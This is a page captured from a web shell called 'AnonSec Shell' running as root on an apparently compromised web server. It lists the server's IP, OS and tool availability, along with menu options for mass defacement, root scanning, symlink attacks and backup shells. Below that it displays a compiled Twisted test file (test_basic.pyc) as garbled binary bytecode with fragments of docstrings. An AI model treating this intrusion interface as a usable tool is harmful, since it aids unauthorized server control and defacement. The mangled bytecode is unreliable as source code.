AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/protocols/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/protocols/test/__pycache__/test_basic.cpython-310.pyc
o

�b��@sJdZddlZddlZddlmZddlmZmZmZddl	m
Z
ddlmZm
Z
ddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZGdd�dej�ZGdd�dej�ZGdd�dej�Z Gdd�dej!�Z"Gdd�dej�Z#Gdd�dej!�Z$Gdd�dej!�Z%Gdd�d�Z&Gdd�de&ej'�Z(Gd d!�d!�Z)Gd"d#�d#ej!e)�Z*Gd$d%�d%e)�Z+Gd&d'�d'�Z,Gd(d)�d)e&ej-�Z.Gd*d+�d+ej!e+e,�Z/Gd,d-�d-e&ej0�Z1Gd.d/�d/ej!e+e,�Z2Gd0d1�d1e&ej3�Z4Gd2d3�d3ej!e+e,�Z5Gd4d5�d5�Z6Gd6d7�d7ej�Z7Gd8d9�d9ej!�Z8Gd:d;�d;ej9�Z:dS)<z,
Test cases for L{twisted.protocols.basic}.
�N)�BytesIO)�List�Optional�Type)�verifyObject)�protocol�task)�	IProducer)�connectionDone)�basic)�	iterbytes)�Failure)�
proto_helpers)�unittestc@�,eZdZdZdZdd�Zdd�Zdd�Zd	S)
�FlippingLineTesterzT
    A line receiver that flips between line and raw data modes after one byte.
    �
cC�
g|_dS�N)�lines��self�r�C/usr/lib/python3/dist-packages/twisted/protocols/test/test_basic.py�__init__!�
zFlippingLineTester.__init__cCs|j�|�|��dS)z&
        Set the mode to raw.
        N)r�append�
setRawMode�r�linerrr�lineReceived$szFlippingLineTester.lineReceivedcCs|�|dd��dS)z,
        Set the mode back to line.
        �N)�setLineMode�r�datarrr�rawDataReceived+sz"FlippingLineTester.rawDataReceivedN)�__name__�
__module__�__qualname__�__doc__�	delimiterrr r%rrrrrsrc@sBeZdZdZdZdZddd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dS)�
LineTestera�
    A line receiver that parses data received and make actions on some tokens.

    @type delimiter: C{bytes}
    @ivar delimiter: character used between received lines.
    @type MAX_LENGTH: C{int}
    @ivar MAX_LENGTH: size of a line when C{lineLengthExceeded} will be called.
    @type clock: L{twisted.internet.task.Clock}
    @ivar clock: clock simulating reactor callLater. Pass it to constructor if
        you want to use the pause/rawpause functionalities.
    r�@NcCs
||_dS)z@
        If given, use a clock to make callLater calls.
        N)�clock)rr-rrrrB�
zLineTester.__init__cC�
g|_dS�z;
        Create/clean data received on connection.
        N��receivedrrrr�connectionMadeHr.zLineTester.connectionMadecCs�|j�|�|dkr|��dS|dkr"|��|j�d|j�dS|dkr>|��|��|j�d�|j�d|j�dS|dkrH|��dS|dd�dkr[t|dd��|_	dS|�
d	�ri|j�|d
�dS|�
d�ru|j�
�dSdS)z|
        Receive line and make some action for some tokens: pause, rawpause,
        stop, len, produce, unproduce.
        ��pauser�rawpause�stopN�slen �produceF�	unproduce)r2rr�pauseProducingr-�	callLater�resumeProducing�
stopProducing�int�length�
startswith�	transport�registerProducer�unregisterProducerrrrrr Ns(

�zLineTester.lineReceivedcCs^|d|j�||jd�}}|jt|�|_|jd||jd<|jdkr-|�|�dSdS)zj
        Read raw data, until the quantity specified by a previous 'len' line is
        reached.
        N���r)r@�lenr2r")rr$�restrrrr%gs
�zLineTester.rawDataReceivedcCs2t|�|jdkr|�||jdd��dSdS)z<
        Adjust line mode when long lines received.
        r!N)rF�
MAX_LENGTHr"rrrr�lineLengthExceededrs�zLineTester.lineLengthExceededr)r&r'r(r)r*rHrr3r r%rIrrrrr+2s
r+c@s(eZdZdZdZdZdd�Zdd�ZdS)	�LineOnlyTesterz)
    A buffering line only receiver.
    rr,cCr/r0r1rrrrr3�r.zLineOnlyTester.connectionMadecC�|j�|�dS)z%
        Save received data.
        N�r2rrrrrr ��zLineOnlyTester.lineReceivedN)r&r'r(r)r*rHr3r rrrrrJzsrJc@s�eZdZdZdZgd�Zdd�ZdZgd�ZedgZ	d	d
�Z
dZgd�Zgd
�Z
dd�ZdZgd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&S)'�LineReceiverTestsz\
    Test L{twisted.protocols.basic.LineReceiver}, using the C{LineTester}
    wrapper.
    s�len 10

0123456789len 5

1234
len 20
foo 123

0123456789
012345678len 0
foo 5

1234567890123456789012345678901234567890123456789012345678901234567890
len 1

a)
slen 10�
0123456789�len 5s1234
slen 20sfoo 123s0123456789
012345678slen 0sfoo 5r4s67890slen 1�acC�tdd�D]9}t��}t�}|�t�|��tt|j�|d�D]}|j|||d|�}|�	|�q!|�
|j|j�qdS)zl
        Test buffering for different packet size, checking received matches
        expected data.
        r!�
N)
�ranger�StringIOWithoutClosingr+�makeConnectionr�FileWrapperrF�buffer�dataReceived�assertEqual�outputr2�r�packet_size�t�a�i�srrr�test_buffer�s�zLineReceiverTests.test_buffers!twiddle1
twiddle2
pause
twiddle3
)�twiddle1�twiddle2r5�twiddle3cC�tdd�D]K}t��}t��}t|�}|�t�|��tt	|j
�|d�D]}|j
|||d|�}|�|�q&|�|j
|j�|�d�|�|j|j�qdS)zo
        Test pause inside data receiving. It uses fake clock to see if
        pausing/resuming work.
        r!rSrN)rTrrUr�Clockr+rVrrWrF�pauseBufrYrZ�pauseOutput1r2�advance�pauseOutput2�rr]r^r-r_r`rarrr�test_pausing�s
�zLineReceiverTests.test_pausings/twiddle1
twiddle2
len 5
rawpause
12345twiddle3
)rcrdrPr6r4)rcrdrPr6s12345recCrf)z7
        Test pause inside raw date receiving.
        r!rSrN)rTrrUrrgr+rVrrWrF�rawpauseBufrYrZ�rawpauseOutput1r2rj�rawpauseOutput2rlrrr�test_rawPausing�s
�z!LineReceiverTests.test_rawPausings"twiddle1
twiddle2
stop
more
stuff
)rcrdr7cCrR)z-
        Test stop inside producing.
        r!rSN)
rTrrUr+rVrrWrF�stop_bufrYrZ�stop_outputr2r\rrr�test_stopProducing�s�z$LineReceiverTests.test_stopProducingcCs>t�}t��}|�t�|��|�d�|�|jgd��dS)z6
        Test produce/unproduce in receiving.
        s&produce
hello world
unproduce
goodbye
)r9shello worldr:�goodbyeN)	r+rrUrVrrWrYrZr2)rr_r^rrr�test_lineReceiverAsProducers

�z-LineReceiverTests.test_lineReceiverAsProducercCshGdd�dtj�}|�}|�d�|�|jd�|�|jd�|�d�|�|jd�|�|jd�d	S)
z�
        L{LineReceiver.clearLineBuffer} removes all buffered data and returns
        it as a C{bytes} and can be called from beneath C{dataReceived}.
        c@�eZdZdd�ZdS)z@LineReceiverTests.test_clearLineBuffer.<locals>.ClearingReceivercSs||_|��|_dSr)r�clearLineBufferrGrrrrr szMLineReceiverTests.test_clearLineBuffer.<locals>.ClearingReceiver.lineReceivedN)r&r'r(r rrrr�ClearingReceiver�rys
foo
bar
baz�foosbar
bazsquux
squuxr4N)r�LineReceiverrYrZrrG)rryrrrr�test_clearLineBuffers

z&LineReceiverTests.test_clearLineBuffercCsPt�}t��}|�t�|��t��}|�d|�|�	d|d�
|j��dS)zC
        Test switching modes many times on the same data.
        sx
x�xr4N)rrrUrVrrW�sys�getrecursionlimitrYrZ�joinr)r�protorB�limitrrr�test_stackRecursion*sz%LineReceiverTests.test_stackRecursioncC�Bt��}t��}|�|�|�d|jdd�|�|j�dS�zx
        C{LineReceiver} disconnects the transport if it receives a line longer
        than its C{MAX_LENGTH}.
        r~r!�
rN�	rr|r�StringTransportrVrYrH�
assertTrue�
disconnecting�rr�rBrrr�test_maximumLineLength5�

z(LineReceiverTests.test_maximumLineLengthcCs�t�}d|_t��}|�|�d|jd}|�|�|�|jdd��|�|jdd�|�|�|j�|�	t
|j�d�|�	||jd�dS)a~
        C{LineReceiver} doesn't disconnect the transport when it
        receives a finished line as long as its C{MAX_LENGTH}, when
        the second-to-last packet ended with a pattern that could have
        been -- and turns out to have been -- the start of a
        delimiter, and that packet causes the total input to exceed
        C{MAX_LENGTH} + len(delimiter).
        r8r~r!NrEr)r+rHrr�rVrYr*�assertFalser�rZrFr2)rr�r^rrrr�&test_maximumLineLengthPartialDelimiter@s	

z8LineReceiverTests.test_maximumLineLengthPartialDelimitercCsXt��}d|_t��}|�|�|�d|j|jdt|j�d��|�	|j
�dS)aO
        C{LineReceiver} doesn't disconnect the transport it if
        receives a non-finished line whose length, counting the
        delimiter, is longer than its C{MAX_LENGTH} but shorter than
        its C{MAX_LENGTH} + len(delimiter). (When the first part that
        exceeds the max is the beginning of the delimiter.)
        s
r~Nr!)rr|r*rr�rVrYrHrFr�r�r�rrr�(test_notQuiteMaximumLineLengthUnfinishedVs
 �z:LineReceiverTests.test_notQuiteMaximumLineLengthUnfinishedcCsFt��}dd�|_t��}|�|�|��|�d�}|�|t	�dS)zf
        C{LineReceiver.dataReceived} forwards errors returned by
        C{rawDataReceived}.
        cSstd�S)N�oops)�RuntimeError�r$rrr�<lambda>osz5LineReceiverTests.test_rawDataError.<locals>.<lambda>sdataN)
rr|r%rr�rVrrY�assertIsInstancer�)rr�rB�whyrrr�test_rawDataErroris


z#LineReceiverTests.test_rawDataErrorcC�t��}|�t|jd�dS)z�
        When L{LineReceiver.rawDataReceived} is not overridden in a
        subclass, calling it raises C{NotImplementedError}.
        �fooN)rr|�assertRaises�NotImplementedErrorr%�rr�rrr�"test_rawDataReceivedNotImplementedv�z4LineReceiverTests.test_rawDataReceivedNotImplementedcCr�)z�
        When L{LineReceiver.lineReceived} is not overridden in a subclass,
        calling it raises C{NotImplementedError}.
        r�N)rr|r�r�r r�rrr�test_lineReceivedNotImplemented~r�z1LineReceiverTests.test_lineReceivedNotImplementedN)r&r'r(r)rXr[rbrhrirkrmrnrorprqrrrsrtrvr}r�r�r�r�r�r�r�rrrrrN�s2
	

rNc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�ExcessivelyLargeLineCatcherz�
    Helper for L{LineReceiverLineLengthExceededTests}.

    @ivar longLines: A L{list} of L{bytes} giving the values
        C{lineLengthExceeded} has been called with.
    cCrr)�	longLinesrrrrr3�rz*ExcessivelyLargeLineCatcher.connectionMadecCsdS)z/
        Disregard any received lines.
        Nrrrrrr �sz(ExcessivelyLargeLineCatcher.lineReceivedcCrK)zF
        Record any data that exceeds the line length limits.
        N)r�rr#rrrrI�rMz.ExcessivelyLargeLineCatcher.lineLengthExceededN)r&r'r(r)r3r rIrrrrr��s
r�c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�#LineReceiverLineLengthExceededTestszO
    Tests for L{twisted.protocols.basic.LineReceiver.lineLengthExceeded}.
    cCs,t�|_d|j_t��|_|j�|j�dS)N�)r�r�rHrr�rBrVrrrr�setUp�s
z)LineReceiverLineLengthExceededTests.setUpcCs6d|jjdd}|j�|�|�|g|jj�dS)z�
        If more bytes than C{LineReceiver.MAX_LENGTH} arrive containing no line
        delimiter, all of the bytes are passed as a single string to
        L{LineReceiver.lineLengthExceeded}.
        r~�N)r�rHrYrZr��r�	excessiverrr�test_longUnendedLine�sz8LineReceiverLineLengthExceededTests.test_longUnendedLinecCsBd|jjdd}|j�d|jj|�|�|g|jj�dS)a*
        If L{LineReceiver.dataReceived} is called with bytes representing a
        short line followed by bytes that exceed the length limit without a
        line delimiter, L{LineReceiver.lineLengthExceeded} is called with all
        of the bytes following the short line's delimiter.
        r~r�N)r�rHrYr*rZr�r�rrr�test_longLineAfterShortLine�sz?LineReceiverLineLengthExceededTests.test_longLineAfterShortLinecCsF|jj�d|jjddgd�}|j�|�|�|g|jj�dS)a
        If L{LineReceiver.dataReceived} is called with more than
        C{LineReceiver.MAX_LENGTH} bytes containing a line delimiter somewhere
        not in the first C{MAX_LENGTH} bytes, the entire byte string is passed
        to L{LineReceiver.lineLengthExceeded}.
        r~r�N)r�r*r�rHrYrZr�r�rrr�test_longLineWithDelimiter�s
�z>LineReceiverLineLengthExceededTests.test_longLineWithDelimitercCsBd|jjdd|jjd}|j�|�|�|g|jj�dS)a
        If L{LineReceiver.dataReceived} is called with more than
        C{LineReceiver.MAX_LENGTH} bytes containing multiple line delimiters
        somewhere not in the first C{MAX_LENGTH} bytes, the entire byte string
        is passed to L{LineReceiver.lineLengthExceeded}.
        r~r�N)r�rHr*rYrZr�r�rrr�test_multipleLongLines�s z:LineReceiverLineLengthExceededTests.test_multipleLongLinescCr�r�r�r�rrrr��r�z:LineReceiverLineLengthExceededTests.test_maximumLineLengthcCsDt��}t��}|�|�|�d|jt|j��|�	|j
�dS)z�
        C{LineReceiver} disconnects the transport it if receives a non-finished
        line longer than its C{MAX_LENGTH}.
        r~N)rr|rr�rVrYrHrFr*r�r�r�rrr�test_maximumLineLengthRemaining�s

zCLineReceiverLineLengthExceededTests.test_maximumLineLengthRemainingN)r&r'r(r)r�r�r�r�r�r�r�rrrrr��s

r�c@r)
�LineOnlyReceiverTestsz@
    Tests for L{twisted.protocols.basic.LineOnlyReceiver}.
    s7foo
    bleakness
    desolation
    plastic forks
    cCsTt��}t�}|�|�t|j�D]}|�|�q|�|j|j�	d�dd��dS)zW
        Test buffering over line protocol: data received should match buffer.
        rNrE)
rr�rJrVrrXrYrZr2�split)rr^r_�crrrrb�s
"z!LineOnlyReceiverTests.test_buffercCsJt�}t��}|�|�|�d|jt|j�dd�|�|j	�dS)z�
        C{LineOnlyReceiver} disconnects the transport if it receives a
        line longer than its C{MAX_LENGTH} + len(delimiter).
        r~r!r�N)
rJrr�rVrYrHrFr*r�r�r�rrr�!test_greaterThanMaximumLineLengths
�z7LineOnlyReceiverTests.test_greaterThanMaximumLineLengthcCr�)z�
        When L{LineOnlyReceiver.lineReceived} is not overridden in a subclass,
        calling it raises C{NotImplementedError}.
        r�N)r�LineOnlyReceiverr�r�r r�rrrr�r�z5LineOnlyReceiverTests.test_lineReceivedNotImplementedN)r&r'r(r)rXrbr�r�rrrrr��s
r�c@s:eZdZdd�Zdd�ZdZdZefdedd	fd
d�Z	d	S)�	TestMixincCrrr1rrrrr3rzTestMixin.connectionMadecC�|j�|�dSrrL�rrarrr�stringReceived�zTestMixin.stringReceived�2r�reason�returnNcC�
d|_dS)Nr!)�closed)rr�rrr�connectionLost#rzTestMixin.connectionLost)
r&r'r(r3r�rHr�r
r
r�rrrrr�sr�c@rw)�
TestNetstringcCs|j�|�|j�|�dSr)r2rrB�writer�rrrr�(szTestNetstring.stringReceivedN)r&r'r(r�rrrrr�'rzr�c@s>eZdZUgZeeeed<dZded<dd�Z	dd�Z
dS)	�LPTestCaseMixin�illegalStringsN�!Optional[Type[protocol.Protocol]]rcCst��}|��}|�|�|S)z�
        Return a new instance of C{self.protocol} connected to a new instance
        of L{proto_helpers.StringTransport}.
        )rr�rrV)rr^r_rrr�getProtocol2s
zLPTestCaseMixin.getProtocolcCs>|jD]}|��}t|�D]}|�|�q
|�|jj�qdS)zO
        Assert that illegal strings cause the transport to be closed.
        N)r�r�rrYr�rBr��rra�rr�rrr�test_illegal<�
�zLPTestCaseMixin.test_illegal)r&r'r(r�rr�bytes�__annotations__rr�r�rrrrr�-s


r�c@s�eZdZdZgd�Zgd�ZeZdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0S)1�NetstringReceiverTestszA
    Tests for L{twisted.protocols.basic.NetstringReceiver}.
    )�hello�worldshowsaresyou123s:todaysaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)s9999999999999999999999sabcs4:abcdes751:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab,cCs$t��|_t�|_|j�|j�dSr)rr�rBr��netstringReceiverrVrrrrr�Ws
zNetstringReceiverTests.setUpcCs�tdd�D]H}t��}t�}d|_|�|�|jD]}|�|�q|��}tt	|�|d�D]}||||d|�}|rD|�
|�q/|�|j|j�qdS)zI
        Strings can be received in chunks of different lengths.
        r!rSi�N)
rTrr�r�rHrV�strings�
sendString�valuerFrYrZr2)rr]r^r_ra�outr`rrrrb\s


��z"NetstringReceiverTests.test_buffercC�"|j�d�|�|jjdg�dS)zE
        Empty netstrings (with length '0') can be received.
        s0:,r4N�r�rYrZr2rrrr�test_receiveEmptyNetstringn�z1NetstringReceiverTests.test_receiveEmptyNetstringcCr�)z;
        One-character netstrings can be received.
        �1:a,rQNr�rrrr�test_receiveOneCharacterur�z/NetstringReceiverTests.test_receiveOneCharactercCr�)z;
        Two-character netstrings can be received.
        s2:ab,�abNr�rrrr�test_receiveTwoCharacters|r�z0NetstringReceiverTests.test_receiveTwoCharacterscCr�)z�
        Netstrings with embedded netstrings. This test makes sure that
        the parser does not become confused about the ',' and ':'
        characters appearing inside the data portion of the netstring.
        s4:1:a,,r�Nr�rrrr�test_receiveNestedNetstring�sz2NetstringReceiverTests.test_receiveNestedNetstringcC�|j�d�|�|jj�dS)zL
        Netstrings containing more data than expected are refused.
        s2:aaa,N�r�rYr�rBr�rrrr�test_moreDataThanSpecified��z1NetstringReceiverTests.test_moreDataThanSpecifiedcCr�)z�
        Netstrings that should be empty according to their length
        specification are refused if they contain data.
        s0:a,Nr�rrrr�$test_moreDataThanSpecifiedBorderCase��z;NetstringReceiverTests.test_moreDataThanSpecifiedBorderCasecCr�)z`
        Netstrings without leading digits that specify the length
        are refused.
        s:aaa,Nr�rrrr�test_missingNumber�r�z)NetstringReceiverTests.test_missingNumbercCr�)zg
        Netstrings without a colon between length specification and
        data are refused.
        s3aaa,Nr�rrrr�test_missingColon�r�z(NetstringReceiverTests.test_missingColoncCr�)zY
        Netstrings that have no leading digits nor a colon are
        refused.
        saaa,Nr�rrrr�test_missingNumberAndColon�r�z1NetstringReceiverTests.test_missingNumberAndColoncCr�)zA
        Netstrings consisting only of data are refused.
        saaaNr�rrrr�
test_onlyData�r�z$NetstringReceiverTests.test_onlyDatacCs>|j�d�|j�d�|�|jjdg�|�|j���dS)z=
        Netstrings can be received in two portions.
        s4:aasaa,saaaaN)r�rYrZr2r��_payloadCompleterrrr�test_receiveNetstringPortions_1�sz6NetstringReceiverTests.test_receiveNetstringPortions_1cC�,dD]}|j�|�q|�|jjdg�dS)z�
        Netstrings can be received in more than two portions, even if
        the length specification is split across two portions.
        )�1s0:01234s56789�,rONr��r�partrrr�test_receiveNetstringPortions_2�sz6NetstringReceiverTests.test_receiveNetstringPortions_2cCr�)zE
        Netstrings can be received one character at a time.
        )�2�:rQ�br�r�Nr�r�rrr�test_receiveNetstringPortions_3�sz6NetstringReceiverTests.test_receiveNetstringPortions_3cCsR|j�d�|�|j���|�|jjdg�|j�d�|�|jjddg�dS)z�
        A stream of two netstrings can be received in two portions,
        where the first portion contains the complete first netstring
        and the length specification of the second netstring.
        s1:a,1rQs:b,r�N)r�rYr�r�rZr2rrrr�test_receiveTwoNetstrings�s
z0NetstringReceiverTests.test_receiveTwoNetstringscCs>|jjd}|j�d�t|�dd|f��|�|jj�dS)zs
        Netstrings with a length specification exceeding the specified
        C{MAX_LENGTH} are refused.
        r!r4r�rQN)r�rHrYr�r�r�rBr�)r�tooLongrrr�test_maxReceiveLimit�s
�z+NetstringReceiverTests.test_maxReceiveLimitcCs&d|j_|j��|�|jjd�dS)zw
        C{_consumeLength} returns the expected length of the
        netstring, including the trailing comma.
        �12:�
N)r��_remainingData�_consumeLengthrZ�_expectedPayloadSizerrrr�test_consumeLength�s
z)NetstringReceiverTests.test_consumeLengthcCs.d|j_d|j_|j��|�|jjd�dS)z�
        C{_consumeLength} works as expected if the length specification
        contains the value of C{MAX_LENGTH} (border case).
        r��r�N)r�r�rHr�rZr�rrrr�test_consumeLengthBorderCase1�s
z4NetstringReceiverTests.test_consumeLengthBorderCase1cC�&d|j_d|j_|�tj|jj�dS)z�
        C{_consumeLength} raises a L{basic.NetstringParseError} if
        the length specification exceeds the value of C{MAX_LENGTH}
        by 1 (border case).
        r��N�r�r�rHr�r�NetstringParseErrorr�rrrr�test_consumeLengthBorderCase2��

�z4NetstringReceiverTests.test_consumeLengthBorderCase2cCr�)z�
        C{_consumeLength} raises a L{basic.NetstringParseError} if
        the length specification exceeds the value of C{MAX_LENGTH}
        by more than 1.
        s1000:r�Nr�rrrr�test_consumeLengthBorderCase3
rz4NetstringReceiverTests.test_consumeLengthBorderCase3cCr�)z�
        When L{NetstringReceiver.stringReceived} is not overridden in a
        subclass, calling it raises C{NotImplementedError}.
        r�N)r�NetstringReceiverr�r�r�r�rrr�!test_stringReceivedNotImplementedr�z8NetstringReceiverTests.test_stringReceivedNotImplementedN)r&r'r(r)r�r�r�rr�rbr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrr�Gs6				
r�c@s�eZdZUdZdZded<dZeee	ed<dZ
eee	ed<dZeee	ed<dd	�Zd
d�Z
dd
�Zdd�Zdd�Zdd�ZdS)�IntNTestCaseMixinz4
    TestCase mixin for int-prefixed protocols.
    Nr�rr�r��partialStringscCsR|��}|jD]}tt�|jt|��|�D]}|�|�qq|�|j	|j�dS)z>
        Test receiving data find the same data send.
        N)
r�r�r�struct�pack�structFormatrFrYrZr2)rr�rar�rrr�test_receive)s
�zIntNTestCaseMixin.test_receivecCs>|jD]}|��}t|�D]}|�|�q
|�|jg�qdS)zK
        Send partial data, nothing should be definitely received.
        N)rr�rrYrZr2r�rrr�test_partial3r�zIntNTestCaseMixin.test_partialcCs6|��}|�d�|�|j��t�|jd�d�dS)z2
        Test sending data over protocol.
        �bbbbbbbbbbbbbbbb�N)r�r�rZrBr�rrr	�rr�rrr�	test_send=s

�zIntNTestCaseMixin.test_sendcCs@g}|��}|j|_d|_|�t�|jd��|�|dg�dS)z�
        When a length prefix is received which is greater than the protocol's
        C{MAX_LENGTH} attribute, the C{lengthLimitExceeded} method is called
        with the received length prefix.
        rSr�N)	r�r�lengthLimitExceededrHrYrrr	rZ)rr@r�rrr�test_lengthLimitExceededGsz*IntNTestCaseMixin.test_lengthLimitExceededcCs8|��}d|_|�t�|jd�d�|�|jg�dS)z�
        If a length prefix for a string longer than C{MAX_LENGTH} is delivered
        to C{dataReceived} at the same time as the entire string, the string is
        not passed to C{stringReceived}.
        rSr�sxxxxxxxxxxxN)r�rHrYrrr	rZr2rrrr�test_longStringNotDeliveredTsz-IntNTestCaseMixin.test_longStringNotDeliveredcCr�)z�
        When L{IntNStringReceiver.stringReceived} is not overridden in a
        subclass, calling it raises C{NotImplementedError}.
        r�N)r�IntNStringReceiverr�r�r�r�rrrr_r�z3IntNTestCaseMixin.test_stringReceivedNotImplemented)r&r'r(r)rr�r�rrr�r�rr
rrrrrrrrrrs




rc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�RecvdAttributeMixinz�
    Mixin defining tests for string receiving protocols with a C{recvd}
    attribute which should be settable by application code, to be combined with
    L{IntNTestCaseMixin} on a L{TestCase} subclass
    cCst�|jt|��|S)zg
        Return C{data} prefixed with message length in C{protocol.structFormat}
        form.
        )rrr	rF)rrr$rrr�makeMessageoszRecvdAttributeMixin.makeMessagecsdg�|�����fdd�}|�_t��jd�d}t��jd�d}��||�|��|g�dS)z�
        In stringReceived, recvd contains the remaining data that was passed to
        dataReceived that was not part of the current message.
        cs���j�dSr�r�recvd��receivedString�r��resultrrr�~r�zKRecvdAttributeMixin.test_recvdContainsRemainingData.<locals>.stringReceived��aaaaasbbbbN)r�r�rrr	rYrZ)rr��completeMessage�incompleteMessagerrr�test_recvdContainsRemainingDatavsz3RecvdAttributeMixin.test_recvdContainsRemainingDatacst|���g�d}|��|�����fdd�}|�_d}d}|��|�}|��|�}��||�|��||g�dS)z�
        In stringReceived, if recvd is changed, messages should be parsed from
        it rather than the input to dataReceived.
        sccccccs�s��_��|�dSr)rrr��messageCr�rrrr��sz=RecvdAttributeMixin.test_recvdChanged.<locals>.stringReceivedrsbbbbbN)r�rr�rYrZ)r�payloadCr��payloadA�payloadB�messageA�messageBrr!r�test_recvdChanged�sz%RecvdAttributeMixin.test_recvdChangedcs�|���g}d�|jD]}|�|��|��|���qg����fdd�}|�_��d�|����d�|��|j�|��jd�dS)z�
        Data already parsed by L{IntNStringReceiver.dataReceived} is not
        reparsed if C{stringReceived} consumes some of the
        L{IntNStringReceiver.recvd} buffer.
        scs"��|��jt��d��_dSr)rrrFr��SWITCHr�rrrr��s
z:RecvdAttributeMixin.test_switching.<locals>.stringReceivedr4�N)	r�r�rrr�rYr�rZr)r�mixrar�rr)r�test_switching�s

z"RecvdAttributeMixin.test_switchingcsp|���d}t|�d�_|��|�}g���fdd�}|�_��|�|��dt|��|��d|�dS)z�
        The L{IntNStringReceiver.recvd} buffer contains all data not yet
        processed by L{IntNStringReceiver.dataReceived} if the
        C{lengthLimitExceeded} event occurs.
        stoo longr!cs��|����j�dSrr)r@�r�rrrr�s
zPRecvdAttributeMixin.test_recvdInLengthLimitExceeded.<locals>.lengthLimitExceededrN)r�rFrHrrrYrZ)r�DATA�messagerrr.r�test_recvdInLengthLimitExceeded�s
z3RecvdAttributeMixin.test_recvdInLengthLimitExceededN)	r&r'r(r)rr r(r-r1rrrrrhsrc@�eZdZdZdS)�	TestInt32z�
    A L{basic.Int32StringReceiver} storing received strings in an array.

    @ivar received: array holding received strings.
    N�r&r'r(r)rrrrr3��r3c@s2eZdZdZeZddgZdgZgd�Zdd�Z	dS)	�
Int32Testsz/
    Test case for int32-prefixed protocol
    rQrs
aaaaaa)s�hello therer4cC�B|��}|�d�|�|j��d�|�d�|�|jdg�dS)z?
        Test specific behavior of the 32-bits length.
        r{sfoosubar�ubarN�r�r�rZrBr�rYr2rrrr�	test_data��


zInt32Tests.test_dataN)
r&r'r(r)r3rr�r�rr;rrrrr6�sr6c@r2)�	TestInt16z�
    A L{basic.Int16StringReceiver} storing received strings in an array.

    @ivar received: array holding received strings.
    Nr4rrrrr=�r5r=c@�:eZdZdZeZddgZdgZgd�Zdd�Z	dd	�Z
d
S)�
Int16Testsz/
    Test case for int16-prefixed protocol
    rQrsaaaaaa)�r7r4cCr8)z?
        Test specific behavior of the 16-bits length.
        r{sfoosubarr9Nr:rrrrr;r<zInt16Tests.test_datacC�2|��}dd|jdd}|�t|j|�dS�zA
        Send too much data: that should cause an error.
        r�r��r!N�r��prefixLengthr��AssertionErrorr��rr��tooSendrrr�test_tooLongSend�zInt16Tests.test_tooLongSendN)r&r'r(r)r=rr�r�rr;rIrrrrr?��
r?c@r2)�TestInt8z�
    A L{basic.Int8StringReceiver} storing received strings in an array.

    @ivar received: array holding received strings.
    Nr4rrrrrLr5rLc@r>)�	Int8Testsz.
    Test case for int8-prefixed protocol
    rQrsaaaaaa)�sdzadzr4cCr8)z>
        Test specific behavior of the 8-bits length.
        r{sfoosubarr9Nr:rrrrr;&r<zInt8Tests.test_datacCrArBrDrGrrrrI0rJzInt8Tests.test_tooLongSendN)r&r'r(r)rLrr�r�rr;rIrrrrrMrKrMc@s8eZdZdZdZdZdd�Zdd�Zdd�Zd	d
�Z	dS)�OnlyProducerTransportzm
    Transport which isn't really a transport, just looks like one to
    someone not looking very hard.
    FcCrrr�rrrrrBrzOnlyProducerTransport.__init__cCr�)NT��pausedrrrrr;Erz$OnlyProducerTransport.pauseProducingcCr�)NFrPrrrrr=Hrz%OnlyProducerTransport.resumeProducingcCr�r)r$r)rr�rrrr�Kr�zOnlyProducerTransport.writeN)
r&r'r(r)rQr�rr;r=r�rrrrrO9srOc@�eZdZdZdd�ZdS)�ConsumingProtocolzC
    Protocol that really, really doesn't want any more bytes.
    cCs|j�|�|��dSr)rBr�r;rrrrr TszConsumingProtocol.lineReceivedN)r&r'r(r)r rrrrrSO�rSc@rR)�
ProducerTestszM
    Tests for L{basic._PausableMixin} and L{basic.LineReceiver.paused}.
